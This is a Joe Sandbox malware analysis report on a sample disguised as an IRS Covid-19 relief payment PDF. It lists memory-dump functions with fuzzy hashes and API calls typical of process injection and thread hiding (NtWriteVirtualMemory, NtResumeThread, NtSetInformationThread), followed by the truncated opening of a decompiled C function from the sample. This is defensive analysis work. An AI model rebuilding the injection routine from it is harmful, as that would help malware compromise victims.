Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationMemoryThreadVirtualWrite
String ID:
API String ID: 1809272239-0
Opcode ID: 4d50b05e90435da8c1e856e1b410fb16375ccb4cf3799c29375c46c2ec98fb48
Instruction ID: a2bd02c54f3464e6edba718642e6dd36ca432cf861940f1d91aaacf66e05a19c
Opcode Fuzzy Hash: 4d50b05e90435da8c1e856e1b410fb16375ccb4cf3799c29375c46c2ec98fb48
Instruction Fuzzy Hash: 4941D570640308AEEF295E10DD947EE3E27EF95394F5400AFED8686244C7B698C5DB81

Uniqueness

Uniqueness Score: -1.00%

Function 024193D4, Relevance: 1.6, APIs: 1, Instructions: 127librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: e370a0f8ad1e5953de38789ec43d647245367a91309a7a3a2774e90370bf17ca
Instruction ID: a8cf62fc1684de3e0b8a84184ad9f951b5508c01e83437fd46bddf8546af7ac6
Opcode Fuzzy Hash: e370a0f8ad1e5953de38789ec43d647245367a91309a7a3a2774e90370bf17ca
Instruction Fuzzy Hash: 9731F034249700DEDB185F2180303FB3BA79F96662F894A9BC45B5B295D3E744C2C382

Uniqueness

Uniqueness Score: -1.00%

Function 02410A4D, Relevance: 1.6, APIs: 1, Instructions: 126nativethreadCOMMON

Download Yara Rule

APIs

NtSetInformationThread.NTDLL(000000FE,00000011,00000000,00000000,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02410ABF

Part of subcall function 02416A49: LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InformationLibraryLoadThread
String ID:
API String ID: 543350213-0
Opcode ID: d4529b9d66124321dd76b34e14f66acb728e23a0f06763169184753ff059c968
Instruction ID: 7a4a0d20e9da53aea6fdf03415b0da0afb976333ef960f959c724a31153ce2b5
Opcode Fuzzy Hash: d4529b9d66124321dd76b34e14f66acb728e23a0f06763169184753ff059c968
Instruction Fuzzy Hash: 583102306447018EE7085B7689623EF7B779FD5355F98456EDC424B288EBE29841C7C4

Uniqueness

Uniqueness Score: -1.00%

Function 0241932C, Relevance: 1.6, APIs: 1, Instructions: 123librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: cc29b6c13fb07db19535e583e8fcd1f6979b9a4b20988250390f4dfe6cd501fb
Instruction ID: 4e78998af4b60af227598c2275acad8a002f217e2d77bf4e7bb7e3632cd672e2
Opcode Fuzzy Hash: cc29b6c13fb07db19535e583e8fcd1f6979b9a4b20988250390f4dfe6cd501fb
Instruction Fuzzy Hash: 8931F638508B05DEEB295E20C5343F637A3AF46771F894A9BD42B5B2E1D3B640C2C742

Uniqueness

Uniqueness Score: -1.00%

Function 02419369, Relevance: 1.6, APIs: 1, Instructions: 115librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 29f28758e843caba96d9005983f08eefa2d1da8e3dd4142cfc347a52c6e25590
Instruction ID: ee0cb7c1ac5f1b70b48b9ce1fc986b3be0cdf1accd35205b6b468fce7c89e69d
Opcode Fuzzy Hash: 29f28758e843caba96d9005983f08eefa2d1da8e3dd4142cfc347a52c6e25590
Instruction Fuzzy Hash: 07310734508705DEEF295E20C5343F636A7AF46770F894A9BD82B5B2E5D3B684C2C742

Uniqueness

Uniqueness Score: -1.00%

Function 02419396, Relevance: 1.6, APIs: 1, Instructions: 112librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 99add425602e3fa9e5df7223bcbc9f22c01da1d112acd416b34e683e7dfeb7c0
Instruction ID: 6cd5e4dcdbf83bf2d4f5c020961924288d008ea3c27f56d6472dfc7a9c6fda80
Opcode Fuzzy Hash: 99add425602e3fa9e5df7223bcbc9f22c01da1d112acd416b34e683e7dfeb7c0
Instruction Fuzzy Hash: 6B31F338108705DEEB285E10C5343F636A7AF86770F894A9BD42B172E4D3B280C2C742

Uniqueness

Uniqueness Score: -1.00%

Function 02413CE4, Relevance: 1.6, APIs: 1, Instructions: 100nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 0096e2c7a456506b4ba4f6e7bac474d03b837793b7215f345ed9626a081d5c74
Instruction ID: ecab2b44194f9dd8d3132bc6f6990836239c1175348ae1ab0bad857694a3a6d1
Opcode Fuzzy Hash: 0096e2c7a456506b4ba4f6e7bac474d03b837793b7215f345ed9626a081d5c74
Instruction Fuzzy Hash: 1C31C270680208AFEF295E20DD94BEE3E67EF58384F54416AFD869A244C7B658D5CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0241945D, Relevance: 1.6, APIs: 1, Instructions: 94librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: b3fe2ed0c4030ef4cb89f4a53392b5193e29acae797353e2de67667f4278fb84
Instruction ID: 87cc0930e07c5270538950cd454dc9476486ec9a8d3224b57a67013e445ec06d
Opcode Fuzzy Hash: b3fe2ed0c4030ef4cb89f4a53392b5193e29acae797353e2de67667f4278fb84
Instruction Fuzzy Hash: 02210638518705DEEF285E60C1343F637A65F82770F894A9BD82B5B2E4D3B684C5C742

Uniqueness

Uniqueness Score: -1.00%

Function 02413E07, Relevance: 1.6, APIs: 1, Instructions: 89nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 752dcc04b0d454e2be17f478233b9c6d82701e5f88f36ae9bb29ce7c9aa8f36c
Instruction ID: 99a1b9852a0060ed94d9d4f905252474b758b850d51dc0c34252b2cdb26fa8c0
Opcode Fuzzy Hash: 752dcc04b0d454e2be17f478233b9c6d82701e5f88f36ae9bb29ce7c9aa8f36c
Instruction Fuzzy Hash: 4D213634640308AFDB285E20DD95BEE7F72FF84350F4440AEED864A154C73294D6CB80

Uniqueness

Uniqueness Score: -1.00%

Function 024194FA, Relevance: 1.6, APIs: 1, Instructions: 79librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: ed3a2da8a773627d179d0a3de1a739ae587455eba54da81b5eb0cb0e06ab7a07
Instruction ID: 9f7c7349ada335946bc25d65ba68d693d449a36b6743e5702f87ababcef996c1
Opcode Fuzzy Hash: ed3a2da8a773627d179d0a3de1a739ae587455eba54da81b5eb0cb0e06ab7a07
Instruction Fuzzy Hash: 5E210338644B41DEEB285E24C1343F733A69F82B60F8D4A9BC46B5B2A4D3B740C5C792

Uniqueness

Uniqueness Score: -1.00%

Function 02419531, Relevance: 1.6, APIs: 1, Instructions: 73librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 9ee2e8ace778942c69eaf5ccb8b549290a3e211eeb96d33a99d9697dcb79abf6
Instruction ID: a280f4fd951ae46bfb811edecdad18ff19be143efc01b3af2d5a3a9cfc3014e8
Opcode Fuzzy Hash: 9ee2e8ace778942c69eaf5ccb8b549290a3e211eeb96d33a99d9697dcb79abf6
Instruction Fuzzy Hash: 24112738644B41DDEF285E60C1343F633A79F82A60F8D4A9BC42A5B3A4D3B740C2C742

Uniqueness

Uniqueness Score: -1.00%

Function 02413D8E, Relevance: 1.6, APIs: 1, Instructions: 73nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: ff2fc8026173582556b105bf01839c0d18fbf6607c448b65b0eb62693fb496c1
Instruction ID: 35fb5b4a6bd79cd34d9ea642a70cf8a6da7f5f3c31dc9d875ea4ca42f4fc4041
Opcode Fuzzy Hash: ff2fc8026173582556b105bf01839c0d18fbf6607c448b65b0eb62693fb496c1
Instruction Fuzzy Hash: 0521AE70240208AEDB195E20CCA4BEE3F63FF98790F44416EED864A244C7B65891CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02413E34, Relevance: 1.6, APIs: 1, Instructions: 71nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: d90f4c8ff4ee79ad9a34ce54a95816717836344a1c6d887f5c5f47b20ea947d6
Instruction ID: ecb632993734b11bddd4d921e8285293705935f69a5bc70ddce8e0a6348f55b3
Opcode Fuzzy Hash: d90f4c8ff4ee79ad9a34ce54a95816717836344a1c6d887f5c5f47b20ea947d6
Instruction Fuzzy Hash: FB21AC30240205AFDF295E20DD90BEA7FB2FF58754F5411AEED8A86150C7329896CB80

Uniqueness

Uniqueness Score: -1.00%

Function 02419571, Relevance: 1.6, APIs: 1, Instructions: 66librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 28fcc34299610d008a6a2a2a1386dbac9a17ae7c681be8e346ccd93afbc8d140
Instruction ID: c3e54a93911700715bd712cf10c6c471270d03730f673ba05c015b7bf9cae33a
Opcode Fuzzy Hash: 28fcc34299610d008a6a2a2a1386dbac9a17ae7c681be8e346ccd93afbc8d140
Instruction Fuzzy Hash: 59110839604B81DDEB295E6081343FA37675F86660F8D0A8BC8275B3A4D3B344C2C392

Uniqueness

Uniqueness Score: -1.00%

Function 02413DD9, Relevance: 1.6, APIs: 1, Instructions: 60nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 613fac48f6c191b83ffc10693069337f4a52f793317c8cb3f1ac7e095b22522e
Instruction ID: 78f29af546118d4b7b3bedf44cfb8f3bfe6b275a530122be7157aec37534e683
Opcode Fuzzy Hash: 613fac48f6c191b83ffc10693069337f4a52f793317c8cb3f1ac7e095b22522e
Instruction Fuzzy Hash: 76119E70240248AFDF196E20CDA07EE3F72FF98350F5441AAED8A46250C77698E5CB80

Uniqueness

Uniqueness Score: -1.00%

Function 0241963E, Relevance: 1.6, APIs: 1, Instructions: 56nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 2dc6def391c8653a33c9418e3e855e14fadc2ee26e958c530e33290ce39366ca
Instruction ID: c04033471aa63b0350533ce9596bb59494e6ae2d9fd09d7598626ba0415f073c
Opcode Fuzzy Hash: 2dc6def391c8653a33c9418e3e855e14fadc2ee26e958c530e33290ce39366ca
Instruction Fuzzy Hash: E5019E34640A01CDDB1D5E2481302EF7667DFD5B927D8499AC8670B398E7E31481C3C4

Uniqueness

Uniqueness Score: -1.00%

Function 02419608, Relevance: 1.6, APIs: 1, Instructions: 54librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 71bce7dd093eb1aca9c4b527de035bca34867e9349b10b9ec5577b1ed1866891
Instruction ID: 0579e5270ab21b4d6bd86f3868c2b4d9cf43a643e2ec3d2655b8f0706dcc6cad
Opcode Fuzzy Hash: 71bce7dd093eb1aca9c4b527de035bca34867e9349b10b9ec5577b1ed1866891
Instruction Fuzzy Hash: A801F234644A01CCAB1D5E2982302FB33679FD7A60BCC4A5BC8664B2A4E3E300C2C381

Uniqueness

Uniqueness Score: -1.00%

Function 024195E5, Relevance: 1.6, APIs: 1, Instructions: 53librarynativethreadCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNELBASE(?,000087F5,?,?), ref: 02416C23
NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: LibraryLoadResumeThread
String ID:
API String ID: 1876017897-0
Opcode ID: 5f9eefee6d952862bcbabae3d1b388a9dd52640b1e4cb42b7ccc64175b02af90
Instruction ID: be3edb44454588d038408bd897f4010fc3eb5de196d912a83482fa5d84a18190
Opcode Fuzzy Hash: 5f9eefee6d952862bcbabae3d1b388a9dd52640b1e4cb42b7ccc64175b02af90
Instruction Fuzzy Hash: 38012B34604B41CDAB1D5E6485302FA37278FD7A6078C4A4FC8675B3E8D3A304C2C355

Uniqueness

Uniqueness Score: -1.00%

Function 02413E4E, Relevance: 1.6, APIs: 1, Instructions: 51nativeCOMMON

Download Yara Rule

APIs

NtWriteVirtualMemory.NTDLL(?,00000000,?,00000000,?,?,?,?,00000000,?,00001000,00000040,?,00000000,?), ref: 02413E63

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryVirtualWrite
String ID:
API String ID: 3527976591-0
Opcode ID: 641449addddc17a6fa77834c0919f65d6d64107ed65367d8a4e3c39dc6a57e5a
Instruction ID: 19501f8f821955492d3e5e6a5c8646f8e4c690af5eb4dc26d9c64b7ba2d17a9f
Opcode Fuzzy Hash: 641449addddc17a6fa77834c0919f65d6d64107ed65367d8a4e3c39dc6a57e5a
Instruction Fuzzy Hash: B8119E74340309AFDF296E20DC94BE93E72FF04354F48426AED8A86150C73698E9DB40

Uniqueness

Uniqueness Score: -1.00%

Function 024196A5, Relevance: 1.5, APIs: 1, Instructions: 38nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 17ab3349ebc902432d300376f5b9e91064def93bfbffdb56443373bc4fc67687
Instruction ID: 3e44c2a06beac9c03b3f5fe41e54dde105f400f94c9e3d9d992c7af9e02af68b
Opcode Fuzzy Hash: 17ab3349ebc902432d300376f5b9e91064def93bfbffdb56443373bc4fc67687
Instruction Fuzzy Hash: E8F02738944B41CD9B1E5E24C6302FE36279FC2660B894A8EC87B1B398D7F31482C384

Uniqueness

Uniqueness Score: -1.00%

Function 024196D4, Relevance: 1.5, APIs: 1, Instructions: 35nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: 329d7496db2c0202ecd44e3c0f44b9fedb74609b44fe2e09f446bc198c455f40
Instruction ID: b5b7736c72c459c7aebf6c6b944d638cbe7557fdef019fdf5940132b89ba9bbc
Opcode Fuzzy Hash: 329d7496db2c0202ecd44e3c0f44b9fedb74609b44fe2e09f446bc198c455f40
Instruction Fuzzy Hash: 5BF0A030544B01CDEB0EAE25C6213EF77679FD4A91B944AAEC8660B748E7E32086C3C4

Uniqueness

Uniqueness Score: -1.00%

Function 02419711, Relevance: 1.5, APIs: 1, Instructions: 27nativethreadCOMMON

Download Yara Rule

APIs

NtResumeThread.NTDLL(00000004), ref: 02419733

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: ResumeThread
String ID:
API String ID: 947044025-0
Opcode ID: ed0467493f4ff92b9e0daead2acbe3d20379afc0bc7b2f5fa8db7391c11f03dc
Instruction ID: 9205497e826e3c891976f334cdf5ceb0cfe397cf295728ea599fc9064c68cddb
Opcode Fuzzy Hash: ed0467493f4ff92b9e0daead2acbe3d20379afc0bc7b2f5fa8db7391c11f03dc
Instruction Fuzzy Hash: 75E0DF30500B008EEB0E9E70C6203EF3A278FC26617944A9EC8630B788E6E36041C7C8

Uniqueness

Uniqueness Score: -1.00%

Function 02414A2D, Relevance: 1.5, APIs: 1, Instructions: 17libraryCOMMON

Download Yara Rule

APIs

LdrInitializeThunk.NTDLL(00000000,?), ref: 024154A3

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: InitializeThunk
String ID:
API String ID: 2994545307-0
Opcode ID: 84a2c2db835f7bd9297aff0e5fac13d7e5e0c9a240309c6cf350e42ea0374612
Instruction ID: 019e391ded659ade46ae7692e528548629434ef326bf05a69638196ea9238315
Opcode Fuzzy Hash: 84a2c2db835f7bd9297aff0e5fac13d7e5e0c9a240309c6cf350e42ea0374612
Instruction Fuzzy Hash: 46D0A7B31443444DE5607B6809477AA7741ABE13B1B59D35B80A10E1FA5D1017DBB39A

Uniqueness

Uniqueness Score: -1.00%

Function 02418B05, Relevance: 1.5, APIs: 1, Instructions: 14nativeCOMMON

Download Yara Rule

APIs

NtProtectVirtualMemory.NTDLL(000000FF,?,?,?,?,0241853E,00000040,02410A3F,00000000,00000000,00000000,00000000,?,00000000,00000000,?), ref: 02418B21

Memory Dump Source

Source File: 00000000.00000002.679659360.0000000002410000.00000040.00000001.sdmp, Offset: 02410000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_2410000_IRS_Covid-19_Relief_Payment_Notice_pdf.jbxd

Similarity

API ID: MemoryProtectVirtual
String ID:
API String ID: 2706961497-0
Opcode ID: 2229240f5f416fd22c3bd5b6d6417b2833a62eb4424814c2ad989dda4904048f
Instruction ID: 4a5feaa05eab9c8a2219e414b785f867e32f1cc28c92e62f58d93c91a6030e8b
Opcode Fuzzy Hash: 2229240f5f416fd22c3bd5b6d6417b2833a62eb4424814c2ad989dda4904048f
Instruction Fuzzy Hash: D1C012E06280002E79048A28CD48C2BB2AAC6D8B38B54C32CB872A26CCC930EC048132

Uniqueness

Uniqueness Score: -1.00%

Function 0040EF84, Relevance: 281.9, APIs: 148, Strings: 12, Instructions: 1904
COMMON

Download Yara Rule

C-Code - Quality: 57%

			E0040EF84(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr* _v16;
				char _v28;
				void* _v44;
				char _v48;
				void* _v64;
				intOrPtr _v68;
				long long _v76;
				intOrPtr _v80;
				char _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				char _v100;
				signed int _v104;
				char _v108;
				char _v112;
				intOrPtr _v120;
				char _v128;
				char _v136;
				char _v144;
				char _v152;
				char _v160;
				char* _v168;
				intOrPtr _v176;
				char _v212;
				char _v216;
				char _v220;
				char _v224;
				char _v228;
				char _v232;
				char _v236;
				char _v240;
				char _v244;
				intOrPtr _v248;
				char _v252;
				intOrPtr _v256;
				char _v260;
				char _v268;
				signed int _v272;
				signed int _v276;
				signed int _v280;
				signed int _v284;
				signed int _v288;
				signed int _v292;
				signed int _v296;
				signed int _v300;
				signed int _v312;
				signed int _v316;
				signed int _v320;
				signed int _v324;
				intOrPtr* _v328;
				signed int _v332;
				intOrPtr* _v336;
				signed int _v340;
				intOrPtr* _v344;
				signed int _v348;
				intOrPtr* _v352;
				signed int _v356;
				intOrPtr* _v360;
				signed int _v364;
				signed int _v368;
				intOrPtr* _v372;
				signed int _v376;
				intOrPtr* _v380;
				signed int _v384;
				signed int _v388;
				char _v392;
				signed int _v396;
				intOrPtr* _v400;
				signed int _v404;
				intOrPtr* _v408;
				signed int _v412;
				intOrPtr* _v416;
				signed int _v420;
				intOrPtr* _v424;
				signed int _v428;
				intOrPtr* _v432;
				signed int _v436;
				intOrPtr* _v440;
				signed int _v444;
				intOrPtr* _v448;
				signed int _v452;
				intOrPtr* _v456;
				signed int _v460;
				signed int _v464;
				signed int _v468;
				intOrPtr* _v472;
				signed int _v476;
				intOrPtr* _v480;
				signed int _v484;
				intOrPtr* _v488;
				signed int _v492;
				signed int _v496;
				void* _v500;
				signed int _v504;
				intOrPtr* _v508;
				signed int _v512;
				intOrPtr* _v516;
				signed int _v520;
				intOrPtr* _v524;
				signed int _v528;
				intOrPtr* _v532;
				signed int _v536;
				intOrPtr* _v540;
				signed int _v544;
				intOrPtr* _v548;
				signed int _v552;
				intOrPtr* _v556;
				signed int _v560;
				signed int _v564;
				intOrPtr* _v568;
				signed int _v572;
				intOrPtr* _v576;
				signed int _v580;
				intOrPtr* _v584;
				signed int _v588;
				signed int _v592;
				void* _v596;
				signed int _v600;
				signed int _t942;
				signed int _t945;
				signed int _t949;
				signed int _t953;
				signed int _t957;
				signed int _t961;
				signed int _t965;
				signed int _t969;
				signed int _t983;
				signed int _t987;
				signed int _t996;
				signed int _t1000;
				signed int _t1004;
				signed int _t1008;
				signed int _t1012;
				signed int _t1024;
				signed int _t1034;
				signed int _t1038;
				signed int _t1042;
				signed int _t1046;
				signed int _t1050;
				signed int _t1054;
				signed int _t1058;
				signed int _t1062;
				signed int _t1082;
				signed int _t1086;
				signed int _t1090;
				signed int _t1094;
				signed int _t1098;
				signed int _t1102;
				signed int _t1106;
				signed int _t1110;
				signed int _t1137;
				signed int _t1141;
				signed int _t1147;
				signed int _t1154;
				signed int _t1158;
				signed int _t1162;
				signed int _t1167;
				signed int _t1171;
				signed int _t1175;
				signed int _t1179;
				char* _t1180;
				signed int _t1188;
				signed int _t1197;
				signed int _t1201;
				signed int _t1205;
				signed int _t1209;
				signed int _t1224;
				signed int _t1228;
				signed int _t1232;
				signed int _t1236;
				char* _t1240;
				signed int _t1252;
				signed int _t1256;
				signed int _t1260;
				signed int _t1264;
				signed int _t1279;
				signed int _t1283;
				signed int _t1295;
				signed int _t1299;
				signed int _t1304;
				signed int _t1308;
				signed int _t1312;
				signed int _t1317;
				signed int _t1321;
				signed int _t1325;
				signed int _t1329;
				char* _t1331;
				signed int _t1342;
				signed int _t1354;
				signed int _t1358;
				void* _t1369;
				intOrPtr _t1383;
				intOrPtr _t1387;
				intOrPtr _t1406;
				char* _t1424;
				intOrPtr _t1434;
				intOrPtr _t1441;
				intOrPtr _t1460;
				void* _t1504;
				void* _t1506;
				intOrPtr* _t1507;
				intOrPtr* _t1508;
				void* _t1510;
				void* _t1511;
				void* _t1513;
				intOrPtr* _t1514;
				intOrPtr* _t1515;
				void* _t1516;
				intOrPtr* _t1518;
				long long* _t1520;

				_t1507 = _t1506 - 0xc;
				 *[fs:0x0] = _t1507;
				L004012E0();
				_v16 = _t1507;
				_v12 = 0x4011b0;
				_v8 = _a4 & 0x00000001;
				_a4 = _a4 & 0x000000fe;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4012e6, _t1504);
				if( *0x413010 != 0) {
					_v328 = 0x413010;
				} else {
					_push("Prt");
					_push(0x401fd0);
					L00401472();
					_v328 = 0x413010;
				}
				_t942 =  &_v92;
				L00401478();
				_v272 = _t942;
